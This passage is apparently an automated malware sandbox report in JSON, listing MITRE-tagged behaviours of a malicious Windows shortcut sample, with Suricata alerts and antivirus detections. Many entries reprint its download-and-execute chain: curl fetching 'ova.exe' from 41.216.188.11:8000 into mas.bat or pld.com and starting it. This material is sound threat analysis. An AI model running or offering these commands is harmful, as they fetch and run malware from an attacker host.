\"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"cmd.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00004308-00000C17-982262357","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\system32\\cmd.exe /K \"%TEMP%\\mas.bat\"\" - (UID: 00000000-00003872)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\pld.com\"\" - (UID: 00000000-00004308)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"\"%PUBLIC%\\pld.com\"\" - (UID: 00000000-00004308)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003872)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003872)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003872)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00003872)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004308)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004308)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004308)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00004308)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"41.216.188.11:8000\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process cmd.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:4308:304:WilStaging_02\"\n Process cmd.exe created mutex with name \"SM0:4308:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"mas.bat\" as clean (type is \"ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\\\mas.bat\"&& start /b \"\" \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00003872)\n Process \"cmd.exe\" with commandline \"/K \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00004308)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Executes echo command","description":"Process \"%WINDIR%\\System32\\cmd.exe\" with commandline \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\\\mas.bat\"&& start /b \"\" \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00003872)","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":1,"id":"target-343","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"curl.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 90170000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$27","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 8EAE0000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 8DE60000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 8EAE0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 8FBF0000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 8FBF0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7938eff7f0000@ntdll.dll\"\n \"220023000000000018c7938eff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e.bin\" was detected as \"Windows Shortcut (.LNK)\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"C:\\Windows\\System32\\cmd.exe\" [Source: 45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e.bin]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe\" [Source: 00000000-00003872-00000C46-1586108132]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /K \"%TEMP%\\mas.bat\"\" [Source: 00000000-00003872-00000C46-1586108132]\n Observed system executable string:\"%WINDIR%\\System32\\curl.exe\" [Source: 00000000-00004308-00000BC0-982485448]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00004308) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"cmd.exe\" (UID: 00000000-00004308) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"cmd.exe\" (UID: 00000000-00004308) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/K \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00004308)\n Spawned process \"curl.exe\" with commandline \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\\\pld.c ...\" (UID: 00000000-00007176)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"/K \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00004308)\n Spawned process \"curl.exe\" with commandline \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\\\pld.c ...\" (UID: 00000000-00007176)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"GET /ova.exe HTTP/1.1\nHost: 41.216.188.11:8000\nUser-Agent: curl/8.15.0\nAccept: */*\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"cmd.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\mas.bat\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"mas.bat\" has type \"ASCII text with CRLF line terminators\"- Location: [%TEMP%\\mas.bat]- [targetUID: 00000000-00004308]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$28","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 3872)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$29","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\mas.bat\"\n \"cmd.exe\" reads file \"c:\\users\\public\\pld.com\"\n \"cmd.exe\" reads file \"c:\\windows\\fonts\\staticcache.dat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Queries process mitigation policy via NtQueryInformationProcess","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cmd.exe\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"cmd.exe\" trying to touch file \"\\Device\\CNG\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\oleaut32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"cmd.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\mas.bat\"\n \"cmd.exe\" writes file \"%temp%\\mas.bat\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /ova.exe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"C:\\Users\\Public\\pld.com\" & start \"\" \"C:\\Users\\Public\\pld.com\"\" (Indicator: \"curl \") in Source: mas.bat\n Observed string: \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\pld.com\"\" (Indicator: \"curl \") in Source: 00000000-00004308-00000C46-1935760034\n Observed string: \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\mas.bat\"&& start /b \"\" \"%TEMP%\\mas.bat\"\" (Indicator: \" curl \") in Source: cmd.exe\n Observed string: \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\mas.bat\"&& start /b \"\" \"%TEMP%\\mas.bat\"\" (Indicator: \"curl -\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"41.216.188.11\" found in string \"http://41.216.188.11:8000/ova.exe\"\n Potential IP \"41.216.188.11\" found in string \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"C:\\Users\\Public\\pld.com\" & start \"\" \"C:\\Users\\Public\\pld.com\"\"\n \"41.216.188.11:8000\"\n Potential IP \"41.216.188.11\" found in string \"GET /ova.exe HTTP/1.1Host: 41.216.188.11:8000User-Agent: curl/8.15.0Accept: */*\"\n Potential IP \"41.216.188.11\" found in string \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\pld.com\"\"\n Potential IP \"41.216.188.11\" found in string \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\mas.bat\"&& start /b \"\" \"%TEMP%\\mas.bat\"\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://41.216.188.11:8000/ova.exe\"\n Heuristic match: \"%public%\\pld.com\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /ova.exe HTTP/1.1\nHost: 41.216.188.11:8000\nUser-Agent: curl/8.15.0\nAccept: */*\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://41.216.188.11:8000\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"cmd.exe\" called \"GetComputerNameW\" (UID: 00000000-00004308)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"135C83DEC5F8DC010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CURL.EXE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"135C83DEC5F8DC010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\cmd.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Executable Download from dotted-quad Host\" (SID: 2016141, Rev: 9, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile\" (SID: 2019714, Rev: 13, Severity: 2) categorized as \"Potentially Bad Traffic\" (PUA/PUP/Adware)\n Detected alert \"ET HUNTING curl User-Agent to Dotted Quad\" (SID: 2034567, Rev: 1, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/26 Antivirus vendors marked sample as malicious (38% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"\"GET /ova.exe HTTP/1.1\nHost: 41.216.188.11:8000\nUser-Agent: curl/8.15.0\nAccept: */*\" Response ==> HTTP/1.0 404 File not found\nServer: SimpleHTTP/0.6 Python/3.12.0\nDate: Wed\n 10 Jun 2026 10:42:45 GMT\nConnection: close\nContent-Type: text/html;charset=utf-8\nContent-Length: 335 with response body ==>3C21444F43545950452048544D4C3E0A3C68746D6C206C616E673D22656E223E0A202020203C686561643E0A20202020202020203C6D65746120636861727365.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"Process \"cmd.exe\" with commandline \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\\\mas.bat\"&& start /b \"\" \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00003872)\n Process \"curl.exe\" with commandline \"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\\\pld.com\"\" (UID: 00000000-00007176)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"cmd.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2d0108c1\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":5,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access/write temporary files","description":"Process \"%WINDIR%\\System32\\cmd.exe\" with commandline \"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\\\mas.bat\"&& start /b \"\" \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00003872)\n Process \"%WINDIR%\\system32\\cmd.exe\" with commandline \"/K \"%TEMP%\\\\mas.bat\"\" (UID: 00000000-00004308)","origin":"Monitored Target","mitre_attack_id":"T1074.001","relevance":5,"id":"target-423","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a web server (HTTPS)","description":"GET /ova.exe HTTP/1.1\nHost: 41.216.188.11:8000\nUser-Agent: curl/8.15.0\nAccept: */*\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 41.216.188.11 on port 8000","origin":"Network 